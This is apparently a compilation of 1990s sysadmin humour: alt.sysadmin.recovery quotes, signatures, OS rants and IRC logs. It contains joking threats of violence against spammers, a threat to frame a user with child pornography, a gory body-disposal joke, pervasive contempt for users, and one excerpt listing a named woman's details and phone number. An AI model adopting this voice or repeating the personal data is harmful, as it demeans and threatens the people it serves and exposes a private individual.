/dev/null Cleaning the lost packets out of the hard drive Emptying /dev/null Doing that important bit of programming that needs to be done by tomorrow morning, regardless of the actual due date, or of the actual programming which may or may not be needed at all. It depends on the level of cluefulness of the luser. Of course, this is usually measured in fractions of percentages, but it depends. Or, if you have already done the damage by helping them out once, proving your usefulness to them, tell them you already showed them how. Certainly they were paying attention? Make a big production out of the fact that you are ultra busy (xboing) and can't be disturbed, but you'll help them "Just this once, and you'd better pay attention." Get angry at them. Or at least look very annoyed. The next time they show up in your presence, look VERY angry, drag them to the nearest library where you can find the manual to everything, and point them to the appropriate one. Say something like "It's a _manual_! It has _words_ in it! They _tell_ you things about how to fix things for _yourself_!" as if explaining it to the sort of mental patient that "have trouble integrating with the outside world." Also remember that you are lucky enough to be working at an Educational institution, rather than an ISP, because ISP sysadmins aren't allowed to be BOFH's to customers unless they violate their terms of service. Of course, ISP sysadmins usually have tech support guys to guard them from the lusers. Of course, they are bothered enough when the tech support guys can't figure out the problem with the luser on the phone,[1] but the questions are often far less menial. (mostly) So anyway, this is what they taught on the day you were sick. I'm glad I was around for these lessons, so that when I'm a sysadmin[2] I can apply these very important life lessons. [1] The biggest dificulty with doing tech support is not the problems with the computer on the other end, it is that thing between the computer on the other end and the phone on the other end that is calling the help desk.[3] [2] I always put this in the footnotes I make when I say I'm not a sysadmin. I am not a sysadmin. I am going to school this fall to learn to program so that I can become a sysadmin. I am currently a Tech Support Guy. Tech Support is a hellish job that most sysadmins don't like, but have to do anyway.[4] That's why they're here. [3] The thing I am referring to of course, is not the modem, it's the luser. [4] It has been said that sysadminning would be a piece of cake, if it wasn't for the lusers. ------------------------------------------------------------------------- "Do I look like someone who cares | covered in hope, and vasoline what God thinks?" | still i can't fix this broken machine -- out of Hellraiser Bloodlines | -- NIN "gave up" ------------------------------------------------------------------------- I will proofread your commercial e-mail for $100 a page. %% We recently advertised for two new jobs at work. The ad contained an endless list of requirements, some of them so obscure that I doubt there's another person in the country who even recognises the terminology. My suggestion of adding "If the above requirements can't be met then someone who can find their ass with both hands would probably suffice" to the ad was turned down. *-=-=-=-=-=#include -=-=-=-=-=-=-* *-=Vladimir Petersen =-* *-=-=-=-=-=-=-=-Vancouver, B.C.-=-=-=-=-=-=-=-=* *-=-=-=-Good pings come in small packets-=-=-=-* riffer@afn.org : "Then you admit confirming not denying you ever said Jeff The Riffer : that?" "NO!...I mean Yes! WHAT?" "I'll put 'maybe.'" Drifter... : --Bloom County Homo Postmortemus : __ _ ________ | \/ \ /|_ |_/ "There is no god but caffeine, and Java is its prophet." |_/\_//_|__| \ "Hey, it compiles! Ship it!" %% > UNIX sucks. Linux sucks. AIX sucks in a nonstandard way. Digital Unix sucks very quickly. Solaris sucks 100% of the time on a sparc and 99.9999934623% of the time on a pentium, but sucks fine all the time for nontechnical people. NT sucks although does not suck quite as much due to the lack of clustering and can only suck on four processors at a time, and sucks very innefficiently when it does suck (which is only when the os is not being reinstalled due to corruption or to apply a bug fix or upgrade to increase its sucking capabilities to make it suck like unix) although Microsoft wants you to think it sucks as robustly as unix while making the interface easy so the average user can make it suck with a few expensive calls to Microsoft's technical support, which sucks as well. A version of Bob will make it suck much more easily, I might add. NT 4.0 will give it the easily sucking interface as the less robustly sucking Windows95 with the raw multiplatform sucking offered by NT. I should be in marketing. %% if exist (BELLSOUTH) while () { that which does not destroy me makes me stronger } else { happy happy joy joy } fi | \/ \ /|_ |_/ "There is no god but caffeine, and Java is its Prophet." |_/\_//_|__| \ "Hey! It compiles! Ship it!" foop (fu:p):n. [Pharmacy, King's College London] Departmental Postgrad Geek. '6. I am afraid that I'm becoming a network nerd. How can I tell for sure?' 'How many syllables do you think there are in the word "coax"?' foop (fu:p):n. [Pharmacy, King's College London] Departmental Postgrad Geek. "There's also some problems in getting good interactions with IBM, since IBM counts as a large third world country, with more internal politics." Microsoft Network is prohibited from redistributing this work in any form, in whole or in part. Distribution license available to Microsoft for $25.00 (Twenty-Five) dollars of the united States in gold. Redistribution without permission constitutes agreement to these terms. Send notices of violation to: mook@cs.utwente.nl, postmaster@microsoft.com, root@justice.usdoj.gov -- peter defriesse \\ computing facilities management \\ OIT \\ UMass [OIT doesn't opine for me. I return that courtesy..] Sysadmins don't go to hell; we're already doing our time in purgatory. -- Think Globally. Act Locally. Support your Local Politician. With a rope. 4 lines, it isn't the law, it is simple fire prevention. Pain is a feature, not a bug. petro@suba.com petro@encodex.com petro@netsight.net petro@smoke.suba.com Pete Ehlke pde@io.com mpras@the.satanic.org pete@doctorxdm.netcrusader.net "People don't realize that system administration eats time like Dave Barry's dogs eat taco chips." -Stephan Zielinski in a.s.r. 18 February, 1995 I went to LISA 96 and all I got was dissed by tale. David P. Murphy (dpm@access4.digex.net) wrote: : >>[1] After 3+ days of fscking around with their NIS : >> i'll give SCO 4 Lovelaces ... : so what *is* the lovelace scale? is there a base point at which i can : calibrate, with both positive and negative values extending infinitely, : is it zero-based, is there some absolute maximum? if the latter, : how can an extreme be set since all OSs suck? Okay, here goes: Windows 95 - 100 Windows 3.x - 90 Windows NT - 85 Macintosh - 84 OS/2 - 83 AS/400 - 82 Amiga OS - 81 AIX - 80 SCO - 75 AT&T SYS V - 70 (The REAL AT&T version) Ultrix - 55 Solaris - 50 Linux - 40 (Why so high? So many lusers "run it") BSD Unix - 10 (All variants of REAL BSD) TSS-8 - 3 (Pitty it is so hard to find PDP-8s...) BOFH/OS - -1 (Perfection!) What corrections are needed? Joel Maslak -- Why does the computer seem to laugh when it says, "You have: 52 new voice mail messages?" -- Sean B Purdy, system administrator sean@fastnet.co.uk >> Of course, the question is: what _do_ you run on a >> computer in a nuclear power plant? - Bill Paul > NetHack. Of course. - Josh -- "I _CAN_ find my butt with both hands. And get away from me with that map!" Mark (mstaple@agammemnon.com) The URL is (yes, an actual URL, with http and .com!): http://www.blackfire.com/os.html -- \ kea@bofh.se http://yi.com/home/AlmKim (And I'am not proud of it) O/\__ Unsolisticated e-mail sent to me will be bounced to postmaster <\__,\ of the site where the mail originated from! "\, \ Down, not accross... -- Intelligence is the ultimate aphrodisiac ------------------------------------------------------------------ "Mammals are smart and warm-blooded and they reproduce fast, but, we'll never see another Tyranosaurus." - Matthew_Skala in a.s.r Sean B Purdy, system administrator sean@fastnet.co.uk > being a SysAdmin means never having to say you're sorry - > just "I'll fix it right away...." - Paul S. Sawyer : [3] You don't like unsolicited email ? Fine. I'll delete : your account. What was your username again ? You got that backwards. It's like the following: 'You got unsolicited email? I can fix that. What was your username?'Simon. Simon Slavin -- Computer Contractor Ordinaire "I like socks because they make my feet feel loved." -- Helene Haduch Junk email is /not/ welcome at my site. This is not useful information, merely targeting data for TacNuke LART owners. %% >Our firm needs an NT Administrator. The candidate needs to be a GURU/God >and able to drill to to low level problems such as socket issues. I didn't see this phrase before. "Drill to to low level problems". Let me translate from lusish to english (American dialect, OF COURSE!): We need someone capable of using power tools to drill small holes in our drives, as the platters spin at 2000 RPM. This will fix the low level problem of poor management who thought that NT was a good solution to our problems, even though none of us wanted to learn it. %% >(Beta copies might, but they would also have commands such as kill, which >really did -- kill jack would, via 220 across the keyboard. It would It took me two passes on that sentence to realise that you meant _volts_. Here's me trying to figure out which flag to pass sendmail to get it to open SMTP connections across the keyboard. Oh yes it does. I want HP SUCKS! engraved on my tombstone. Trust me. HP sucks gibralters through capillary action. %% What should the perfect OS have? It should allow multiple logins, but only from a single person, the BOFH. Users get to submit jobs on punched cards (the easier to fold into paper-airplanes and throw out the window). Commands need to be arcane, 3-5 letters, no vowels[1], acronyms only if the words themselves are obscure. It should network perfectly, but only with BOFH/OS... There should be built-in worms that attack other operating systems, and install BOFH/OS over-top of them. [1] a,e,i,o,u,[2]... What DID you think vowels were? [2] y, not y, y, not y.... (sometimes y...) :) [3] a pre-reference footnote. A sig which is 3 characters too long. [42] this footnote is in need of a question. [666] I'm up, and it's not noon yet, what a beastly day. %% Joe Thompson | Cornerstone Networks | Tech support is a fine joe@cstone.net | Charlottesville VA | art which, once mas- Technical Support | 804.984.5600 | tered, virtually ensures Technical Writing | http://www.cstone.net/ | loss of sanity. %%% > Her name is Janice, she is single, goes to College, Works > part time, is 20 years old, and you can call her and ask her > about herself if you like. Her phone number is: 852-1241. > Thats about all I'll say about her for now. %%% I once saw an accident on the 401 right in front of where I was working at the time, the Ontario Ministry of Transportation and Communications. Two flat bed trucks carrying Grizzly Armoured Personell Carriers had stopped suddenly, and one had plowed into the back of the other. Although I was only one lane away and about 400 metres back when it happened, it wasn't until I read the papers the next day that I found out there had actually been a car between them before the accident. They probably got that driver out of his car with a garden hose. %% >) > Anybody else ever have to troubleshoot with their eyes closed? >) It's called telephone technical support in our company, and it's a major >) contributor to the population of mental institutions in this country. -- >I do this in my kitchen: my younger sister[0] phones me up as asks me >how to install a printer driver under windows95[1] so I close my eyes >and visualize the interface[2]. I find that lately I always close my eyes when answering support calls. Usually with my hand over my eyes, elbows on the desk and a kind of "slumped" appearance. Partly to help me get into the mindset of the luser with the faxing or www problem I'm going to have to tell to go away as soon as they finish their incredibly long sentence (do lusers need to breathe?) and partly because that's just how I feel. Especially with the ones that phone before 9am. %% %SYSTEM-F-TOOEARLY, please contact your sysadmin at a sensible time Mark Edwards ------------ What we have here is a failure to assimilate. - Cool Hand Locutius of Borg ------------ Any email, judged by me, to be of a commercial nature, will be reviewed and billed at a rate of $500 per item. %% |> so what *is* the lovelace scale? is there a base point at which i can |> calibrate, with both positive and negative values extending infinitely, |> is it zero-based, is there some absolute maximum? if the latter, |> how can an extreme be set since all OSs suck? Here's a first draft at a possibly useful definition of the "Lovelace" given in terms of the SpecSuck'96 test suite: The Lovelace is defined for a (hardware, OS, additional software) triplet. An otherwise working (IP over Ethernet) network is provided. The Lovelace is defined as the "total weighted exclamation of disgust per BOFH hour". The weighting is provided by listening to the comments made by the BOFH during the test. Suggested weightings are: "I don't believe it!": 1 "WWHHHHAAAATT?????": 2 "Oh, sod this for a game of soldiers": 4 "How could they have been so stupid?" 8 : 16 "Sod this, let's port Linux to it." 32 And I now present the first contribution to scientific research on a.s.r: "The Lovelace Conjecture": The Lovelace value of a (hw,os,sw) triplet can be expressed as a function of two independent quantities: the Lovelace value of (hw,os) and the Lovelace value of (sw). In colloquial terms, operating systems are a real bitch even on their own and software sucks, regardless of where you run it. %% Mark Haselden - Leviathan/MegaWatts | An optimist believes we live in email markha@tartarus.uwa.edu.au | the best of all possible worlds N.B. You MUST mail to tartarus | A pessimist fears this is true Mail to lethe will be returned | Keine Schoenheit ohne Gefahr %% David P. Murphy (dpm@access4.digex.net) wrote: : >>[1] After 3+ days of fscking around with their NIS : >> i'll give SCO 4 Lovelaces ... : so what *is* the lovelace scale? is there a base point at which i can : calibrate, with both positive and negative values extending infinitely, : is it zero-based, is there some absolute maximum? if the latter, : how can an extreme be set since all OSs suck? Okay, here goes: Windows 95 - 100 Windows 3.x - 90 Windows NT - 85 Macintosh - 84 OS/2 - 83 AS/400 - 82 Amiga OS - 81 AIX - 80 SCO - 75 AT&T SYS V - 70 (The REAL AT&T version) Ultrix - 55 Solaris - 50 Linux - 40 (Why so high? So many lusers "run it") BSD Unix - 10 (All variants of REAL BSD) TSS-8 - 3 (Pitty it is so hard to find PDP-8s...) BOFH/OS - -1 (Perfection!) What corrections are needed? Joel Maslak %% -- condor@satanic.org-----Satanic Sysadmins, Inc.-----http://satanic.org/ "...there will be no rest in sysadmin land until the last luser is hung with the guts of the last salesdroid." --Eric Sorensen in a.s.r -- WARNING: sending me junk-email will be interpreted as granting permission to bomb your offices and machine-gun your children. (10 in 4 days, 3 in 1 hour) (thanks, Simon!) ----------------------------- IXTJ at large ------------------------------ De Iesus domine | grimm@netbistro.com - BOFH in Dom a Hades requiem | training and voted by my co-workers | "Most Likely to Go Postal" -If you send me spam, I will decimate your account. Resistence is futile.- -- Zygo Blaxell. Unix/soft/hardware/firewall/security guru. 10th place, ACM Intl Prog Contest, 1995. Admin Linux+Solaris for food, Tshirts, anime. Pager: 1613 7608572. "I gave up $1000 to avoid working on windoze... *sigh*"-Amy Fong. "smb is a microsoft toy, like a "child" protocol that never matured"-S Boisjoli. Sean B Purdy, system administrator sean@fastnet.co.uk > "There is No God but Sendmail and SMTP is Its Prophet" - Alistair Young [0] Does it matter if they are? They luse, therefore we LART.[2] Solicitations to me must be pre-approved in writing by me after soliciitor pays $1,000 US per incident. Solicitations sent to me are proof you accept this notice and will send a certified check forthwith. Stolen from someone's .sig: % rm file rm: remove file? y rm: you realize that you'll never get it back? y rm: wouldn't you rather keep it? n rm: are you absolutely positively sure that you want to remove it? y rm: Hesitation detected in reply. File not removed. -- Richard Levitte, bastard@bofh.se http://www.bofh.se/~bastard/ "Leading a bunch of programmers is like herding a bunch of cats" -- "It stands no chance. Yes, it is a Microsoft product. A Microsoft operating system, even. But I am a Zen Master. Gather the mops and buckets, for they shall shortly be required." http://www.gu.uwa.edu.au/users/greg/ "NT disaster recovery isn't all that difficult. Just follow the simple instructions that come with the Linux CD." --Anthony DeBoer, in A.S.R. Q: Why do mountain climbers rope themselves together? A: To prevent the sensible ones from going home. (Sung to the tune of "The Impossible Dream" from MAN OF LA MANCHA) To code the impossible code, To bring up a virgin machine, To pop out of endless recursion, To grok what appears on the screen, To right the unrightable bug, To endlessly twiddle and thrash, To mount the unmountable magtape, To stop the unstoppable crash! Simon Karpen karpes@rpi.edu slk@acm.rpi.edu slk@karpes.stu.rpi.edu "Fixing Unix is easier than living with NT." --Larry McVoy "It's trivial to make fun of Microsoft products, but it takes a real man to make them work, and a god to make them do anything useful" - Anonymous -- Why would you WANT to port C news to your PC? Wouldn't it be smarter and about as cost-effective to port your PC over to the trashcan and buy a real computer that runs a real operating system like Unix? --Brian Kantor (brian@ucsd.edu) 4.) We get off on the power.[1] [1] Luser touches something he shouldn't and fscks it up.[2] Me: "Shame about that kiddie porn site you've got on your website..." Luser: *blankly* "What kiddie porn site?" Me: "The one I'm setting up for you tomorrow. No worries. You've got a pretty mouth; you'll be very popular in prison." [2] Yes, I know that sentence was redundant. ***************** PLEASE TAKE NOTE: In an effort to reduce the amount of junk mail that I receive, I am no longer reading email sent to petro@suba.com. send email to login@encodex.com where login = petro. You send unsoliciated commercial email, and I will kill you. -- "a+rw - the file permissions of the Beast" -- Anon. http://www.ee.umanitoba.ca/~djc/ D. Joseph Creighton [ESTP] | Programmer Analyst, Database Technologies, IST Joe_Creighton@UManitoba.CA | University of Manitoba Winnipeg, Manitoba, Canada -- Debbie Schwartz das@halcyon.com http://www.halcyon.com/das/ "I'm not crazy, I've just been in a very bad mood for 40 years." _Steel Magnolias_ * Killfiling idiots since 1989. I do not do business with spammers. * >(my triggers for NT rants have been adjusted severely : I now share a >room with an NT server. I know the root password. I have to know the >root password. On the bright side : I can administrate it remotely using >a web interface which is Lynx friendly. I adjusted my own account >settings from an xterm with Lynx). No, you know an _administrator_ password. While administrators in NT can do a lot of things, there is no equivalent to the godlike powers of root on a Unix box. -- W Lionel Lauer - longword@*fnord*.super.zippo.com McQ . | ,. w , "Some people are alive only because \|/ \|/ it is illegal to kill them." xyzzy ---^----^--------------------------------------------------------------- >-dsf-g- YKYHBHTLW you stare long and hard at the above before deciding that it's not an obscure set of permissions. -- Sean B Purdy, system administrator sean@fastnet.co.uk > being a SysAdmin means never having to say you're sorry - > just "I'll fix it right away...." - Paul S. Sawyer %% >In article <5m1q71$r2j$1@triad.bpfh.net>, > Simon Burr writes: >> Yes, I am attempting to avoid work. Why do you ask ? >Can I suggest sir try sleeping? Why is that ? I mean, we're all just being forced to sleep thanks to the many years of evolution which said that not moving at night was a good thing. Anyway, what is this "sleep" thing of which you speak ? I've heard that its where you lie down on this strange thing called a bed, close your eyes and stop thinking for ~5-8 hours or so. I've also heard that the headaches go away and sometimes you get these strange hallucinations as well. Is sleep a drug ? I think it is. You can view a lack of sleep as a drug as well if you really want as well... I'm just waiting for the "War on sleep" to be announced. Or would that be the "War on sheep" ? And does this mean that sheep are a drug ? Inquiring minds need to know. *sigh* the scary thing is that I've been getting a reasonable amount of sleep[1] recently and I'm still occasionally writing stuff like the above. %% -- The address from which this message was posted is a spam trap. If you can't figure out how to get in touch with me, I don't want to hear from you. D. Charles Shiderly |If engineers ruled the Earth, the trains might not Operations Support |run on time, but they'd go _really_fast_, and when GTE INS |they derailed, would explode and kill thousands. perl5.004 -wMMath::BigInt -e'$^V=new Math::BigInt+qq;$^F$^W783$[$%9889$^F47$|88768$^W596577669$%$^W5$^F3364$[$^W$^F$|838747$[8889739$%$|$^F673$%$^W98$^F76777$=56;;$^U=$]*(q.25..($^W=@^V))=>do{print+chr$^V%$^U;$^V/=$^U}while$^V!=$^W' If we're bringing up kids that are so stupid that they kill themselves because of a song, what good are the kids in the first place? -- Mr. Manson, Marilyn Mansona USER: term used by computer professionals when they mean "idiot" -- Windows: I can play Doom! |RedHat Linux 2.0.31pre-2 i486 Linux: I can be a file server, be a Web|Because reboots are for upgrades! server, run the accounting package with|http://www.wpi.edu/~rasmusin/pgp.html twelve terminals AND play Doom! |for pgp key. frank sweetser %% (re mac os 8) We installed it on 2 machines. It wedged _hard_ on both of them during or _right_ after the Setup. Bad move Apple. Score Admins:2, Apple -57,000,000. Serves them right. I think we ought to start taking up a collection to purchase NeXT from Apple and give it to Linus T. %% -- Borderline psychotic with hermit-like tendencies. email will be posted as i see fit. "root is addictive" -- \pir, speaking from the scary devil monastery > I'm afraid that due to the fact that I now have a life... Wow. What shell did you program it in? "..Tech-Support=>only for the clinically insane? or the cause?.." BoB cOdE: KIP lwWm EO+ m5+ CP B11 Om Lm Sj++ T++ A3 H9om b4 -- "It's not every day you meet a Legend." -- Mike Stackpole         http://www.primenet.com/~capella/ Fight Spam!  Support CAUCE! http://www.cauce.org/ KILL VEGETARIANS & EAT THEM! For a good time, mail camilleeklein@hotmail.com and nailneil@rocketmail.com   Mike Enlow Parody Pages: http://www.primenet.com/~capella/enlow/enlow.htm Walked into the middle of a discussion on audio compression the other day.  Person says "...5 minutes for 4 megs."  My first thought was, "Whats this? A silicon hooker?"  I need a life....... root@localhost,postmaster@localhost,abuse@localhost YKYBHTLW: %% You know you've been hacking too long when... you subscribe to listserves just so you have something when you check your e-mail each day. (Alright, lame, but true) I was staying at a friends house and we were just laying around. His dog was in the room and I told him to sit. He layed down instead. My friend said "His sit routine has a bug in it". It took a second for me to look at him funny. David S. Miller in arch/sparc/kernel/traps.c: void die_if_kernel(char *str, struct pt_regs *regs) { /* Amuse the user. */ printk( " \\|/ ____ \\|/\n" " \"@'/ ,. \\`@\"\n" " /_| \\__/ |_\\\n" " \\__U_/\n"); printk("%s(%d): %s\n", current->comm, current->pid, str); : /* FIXME -- we ought to check the validity of this */ : /* FIXME -- maybe we should pre-parse this? */ : /* FIXME -- what do we do now !? */ : /* shouldn't happen */ : /* FIXME -- yeah, but if it does? */ : /* FIXME -- could writing to return values of nfsproc_*_svc be bad? */ : /* FIXME -- this procedure is incomplete and broken */ : /* FIXME -- test for errors */ : /* aieee! no memory */ : /* FIXME -- handle errors */ : /* FIXME */ : /* this is a big security hole, methinks */ : /* also, slow */ : /* FIXME -- check return values */ : /* oopsie. we ran out of memory. let caller handle this */ -- Due to extramolecular performance attraction of the clbrynk status of the processor cluster, hard disk space is recursively reduced by 50 percent during the next 199 hours. If this doesn't help we will have to install a new Cray - for the 50 percent, of course. [10:52] *** Stumpy has quit IRC (Men are like coffee... the best ones are hot and will keep you up all night!)My dear Star Trek fans and followers of Vulcan logic, I, for one, am not tired of reading posts about 7 of 9's breasts. She is a beautiful humanoid female, and deserves our full attention. %% [11:09] The Top Ten: [11:10] Fatal Systems Errors on a mac. [11:10] For anyone interested... > nerm - yay![11:10] shoot! > *bang* * Arc_work shoots sept > oops [11:10] 10: More than 3 keys hit in a row [11:10] *** Sept has quit IRC (Chicago-R.IL.US.Undernet.org SanDiego.CA.US.Undernet.org) > ha! [11:10] 9: Moved mouse too fast (somewhat improbable) [11:10] Arc: when did you send the e-mail? > I killed him! ha ha ha! > skip - 11-12ish last night I think [11:10] Bad Arc... :-( [11:11] 8: Tried to Print * Arc_work attempts to resurect sept [11:11] 7: Tried to Startup [11:11] * WhtDragon spies a dilbert something, hmm... [11:11] *** Sept (~oper@131.235.209.102) has joined #north [11:11] 6: Attempted to load image [11:11] Arc:I don't have it!> yay! I brought him back! [11:11] 5: Mac Designers forget concept of "RAM" > skip - :( I'll resned when I get home [11:11] You DID IT! > sept- I killed you and brought you back to life! [11:12] * WhtDragon points at alan for not being able to send email :) [11:12] looove this one, 4: Cannot find volume: "hard disk" [11:12] Arc: that is just too long to wait:( [11:12] 3: Placed floppy disk in drive [11:12] 2: Tried to logon to the web [11:12] 2: tried to get floppy out of drive [11:12] 1: You bought a mac (first time users only) [11:12] lol > nerm - there are people that buy more than one mac in a row? [11:13] Arc.... yes, but most of them now take Prosac [11:13] or were at teh time. [11:13] Prozac...? [11:13] Prozack...? [11:13] Prosmack? [12:04] arc - so what did you think of the copious amount of Coke at Fogg & Suds? [12:04] gwyn - better than grey. ;) [12:04] much better..but not as nice as blue or pink > sol - it was impressive * Arc_work was impressed > course, the guiness there was good too [12:06] * Solas was very impressed by the size at first... but it's starting to seem smaller every time I go.... ;) [12:06] * Gwynna bites her tongue > LOL [12:07] gwyn - phbbbbbbbt [12:07] *snicker* * Arc_work cuts and pastes ---------------------------------------------------------- "Blessed are the peacemakers, for they shall be mowed down in the crossfire." -The Nanotech Chronicles by Michael Flynn > Ode to 42 > ~~~~~~~~~~~ > Fourty two, is all. > life, the universe everything > I love you fourty two -- Morian -- Morian@example.net -- BOFH/tech for hire -- ** Note: Change example to globalserve to email me ** Finger above address for PGP public key and occasional rant. "F0 0F C7 C8 - The Four Bytes Of The Apocalypse" - Mel Harper, a.s.r -- . -.. .. .- . ...- .- .-.. .. ... -  -.-. --- -- .--. --- ... . .-. Michael J. Fromberger Software Engineer, Thayer School of Engineering Dartmouth College, Hanover, New Hampshire, USA Fromberger[at]Dartmouth.EDU / sting[at]linguist.dartmouth.edu --. ..- .. - .- .-. .. ... -  .-.. .. -. --. ..- .. ... -  -- .--- ..-. 31: The big print giveth and the little print taketh away. -- "If it ain't unix I ain't touching it" Gillian Richards - CSO - Blue Mountains TAFE - Remove the fox to reply                                 * - * "My dad's this long-haired drug-taking weirdo, hangs out with a heap of Goths - of COURSE I became a computer geek." - attrib. to Ada B. Lovelace --    -monk---      "Santa knows who's naughty and nice."        translation: "ps -l | grep "nice" | cat > good" %% I think I heard once about a doctor who operated a luser and found a certain amount of Bone Marrow Inside, which they apparently use for simple tasks, like basic communication.  But maybe I'm wrong, and it's just a high percentage of blood in caffeine and the fact I've been abused by Digital Unix... .rant nt Today I've tried (and failed) to make Digital Unix lpd work via NT. It didn't exactly work, and I even had no Net connection to download RFC 1170, so I tested if NT listens by telnetting to port 515 of it[6].  The NT admin (if you may call it[0] so) which I worked with pointed out that telnet is closed[1] in NT.  So I said, vad> But I'm trying to connect to the lpd port! nt>  But telnet is closed! vad> Telnet _port_ is closed, right? nt>  Yes. vad> But I'm trying to connect to another port! nt>  But telnet is closed! vad> But it doesn't know what client I use to connect! nt>  Whatever, telnet is closed. vad> *sigh* What if I use netcat[3][2]? nt>  No idea what it is. vad> So what's the difference whether I use netcat or telnet? nt>  Simple: telnet is closed! This is the luser which got the highest Microslop degree (MicroPhD?) as an NT admin.  But it knows several things other lusers usually don't, like that lpd exists somewhere down there in the Unix dark. Well well...  He also tried to convince me that if I change the NT server name[4] to its literal IP in /etc/printcap, it will actually change something.  I tried to explain him that the IP packet includes sender IP address only (i.e. no hostname), but I couldn't convince him.  In the end, I changed it, and {boom!} Digital Unix complained that 12.34.56.78 is an unknown hostname[5]. [0] Hey, really, you refer to NT admins and other kinds of lusers as     "him" or "her"? [1] Closed?  Has it ever been open? [2] Not that I had it there, but does it matter? [3] a.k.a. nc. [4] Which is in /etc/hosts, no DNS issues. [5] Does anyone know what country owns the top-level domain 78? [6] It didn't. .rant %% >: > [1] i think there is a law stating that every spelling flame must have >: > at least one spelling error. >: Shouldn't that start with a capitol I? >You mispeled capital. Could you use too 's'-es please? %% Naahh, that's for wooses.  What you really want is a makefile which rewrites parts of itself as it runs[0]. Peter. [0] It doesn't actually do that any more, by doing things like compiling a     test program which outputs the required compiler flags which get piped     back into the makefile I avoided having it pipe itself through sed as part     of the build process.  The single makefile does the work of several     hundred K of autoconf cruft[1]. [1] It also really frightens people who try to use it as the basis for, say,     an OS/2 makefile.  "I tried to use the Unix makefile, but, ummm...". %% And if I ever regularly use an OS produced in Redmond I hereby give permission, no, I BEG, for someone to take a chainsaw to my head. > Next time you will promote HP-UX or what? ugh. Next you will suggest that I dismember children for fun too. %% >> I have a confession: I LIKE RedHat Linux. >You install it, it runs 60 daemons. Prepare, brave souls, for a journey.  A journey in to a place beyond space and time.  A journry in to.../etc/rc.d.  A place of SysV init.  A place where daemons lie.  A place where you need to be prepared for the unexpected. Scary thing is, I have gotten used to this place.  Took me a while, but I did. >No editor, no "route", no devices, no nothing except their fucking GUI >tool. Today we play hide and seek with our RedHat system.  The rules of this game are simple.  You need to find where RedHat has hidden the configuration information in question.  Find is your ever firendly companion here: find /etc -type f -print | xargs rep ifconfig [1] /etc/sysconfig/network-scripts, if I recall properly.  Oh hell, I'll just place the stuff in /etc/rc.d/rc.local, which really confuses things when you change runlevels.  It works like the person who told the doctor it hurts whenever he moves his arm like this "Don't move your arm like that".  Well, don't change runlevels in RedHat :) [2] [1] find /etc -type f -exec grep ifconfig {} /dev/null \;     takes more keystrokes.  I'm lazy. [2] OK, I do, but I'm too impatient to wait for a reboot. %% If you would do your own laundry, she wouldn't find your wallet. %% gillian.fox.richards@tafensw.edu.au (Gorgeous Redhead) writes: >By the way - does anyone have any good ideas on getting rid >of a body? Sure.  First, hook your thumbs firmly into the bodies nostrils and rip the soft fleshy parts of the nose away.  Then find a hammer and smash the bridge of the nose several times until the bony structure of the face is thoroughly disrupted. Taking your eyespoon, pop out the eyes like a pair of melon balls and bind the emeralds in their place... whoops, wrong set of instructions.  Anyway, by now (if you've done it right) you should have made a terrible mess which will undoutedly perplex and horrify your mum when she drops in for a visit. Break the bodies ribs one by one, starting at the bottom and working your way up.  Then slice into my chest with a handy Exacto knife from the closet and remove the lungs.  These are best served grilled with a white wine sauce. I think you should get the idea by now, I don't want to spend the rest of the night typing all this in.  Just remember to marinate the brains for at least six hours before cooking. Peter. %%   Yeah, right.  Five fuckin' UNIX systems including the fileserver are plugged into a 5KVA UPS plugged into GUESS WHAT.  This, despite the fact I howled, pissed, and moaned I DID NOT want that UPS plugged into that Digital Equipment Corp. hi-tech cowflop because it had ALREADY shown a prediliction to fail at random times.  So what happens next? You guessed it; the PDS fails.  The fsck'ing main breaker won't stay on.  Meanwhile, the UPS is quite happily counting down its time to total shutdown.  At 4.5 minutes, I tell the operators to shut down all the systems.  In 2.5 minutes the UPS (which which has been lying to me all along about its TTL) decides to shut down. %% Chooising NT for security is like fighting for peace, or screwing for virginity... I just don't understand the computer world as well as I used to... I mean, come on...  Intranet?  Isn't this the same as a LAN/WAN? : 'Anyone who slaps a "this page is best viewed with Browser X" label on :  a Web page appears to be yearning for the bad old days, before the :  Web, when you had very little chance of reading a document written on :  another computer, another word processor, or another network.' - T.B.L. I like to put a line in that says "this page is best viewed with a web browser" just to make fun of the people that do the above mentioned thing. I imagine the humor/sarcasm is of little value to most knuckle-dragging "web surfers". [4] I believe that there is a special room in Tarterus reserved for Brian Eno, in which a Windows '95 machine constantly reboots itself, displays clouds, plays the Microsoft Sound, reboots, displays clouds, plays the Microsoft Sound, reboots... [0]  I have a cat that actually like to press buttons with his little      paws, if you can believe that[1]. [1]  He's a cute little bastard, but he's still a bastard. "I didn't spend all those years playing Dungeons and Dragons and not learn a little something about courage." : > :1(a). Find a SO/girlfriend/fiancee with clue[1][2] : > Anybody else parse this as s/girlfriend/fiancee and wonder why there : > was no /g on the end? : 'cause you're not allowed to have more than one fiancee, so you only : replace the first instance of "girlfriend"? Not necessarily.  The only piece of advice my father ever gave me was: "If you become engaged to two girls at once, do not let the second girl announce it in the papers".  I don't know what incident triggered this precaution. [1] If Steve Jobs is reading... DON'T PISS OFF THE COMPANY MAKING YOUR CHIPS! > and since added a Zip drive on my parallel port. Consider yourself LARTed for not bowing down to the altar of the one true God: SCSI. Really, Scott... Either you're just pulling my leg or you have indeed missed out on something vital. Try it out for real. Don't write sucky applets for non-functional NutScrape browsers, use the langauge from the command prompt, as God intended code to be run. Repeat to yourself "Java is not NutScrape." and one of these days, you'll find yourself writing funky Java apps to help you in your daily work. And, after Suns move to incoperate tk/tcl in Java, warmth and happiness have indeed returned to a otherwise pretty desperate and grey C-world. ( The "cat core /dev/audio"-thing up there was actually once a Computer Music project me and a friend tried to start. The trick would be to get gcc to produce runnable binaries which would also sound decent. We didn't get too far, however...;-) Approved: Corrupted Superblocks 'R Us >}javac, and crap like that.), emacs (or xemacs[1]. groan.), and Makefiles. >}[1] What the fuck is that? An editor or a GUI? I've actually seen >}proesses of it reaching as high as 200 megs. More than once. It's a >}walking memory leaking machine for crying out loud. >Neither.  It's a virtual pet, and a damn good one at that.  And it >appears you've overlooked the obvious solution to your memory leak >problems--a quick bit of elisp code to monitor process memory usage, >and if it gets too high, save your files and workspace, kill the >process, and restart. Funnily enough, I would describe Netscape in exactly [0] the same way. The classic laptop example was one where the OS (MS-DOS 3.1 OEM, IIRC) lived in battery backed SRAM which the bootstrap ROM used to emulate a hard drive, which it would then boot from. Nir Soffer - scorpios @ cs.huji.ac.il - http://www.cs.huji.ac.il/~scorpios "The same people that tell you that a Linux program is as good as a WinNT program would also tell you it's  better to wipe your ass with a belt sander instead of toilet paper.  I can hear them now --  "It may 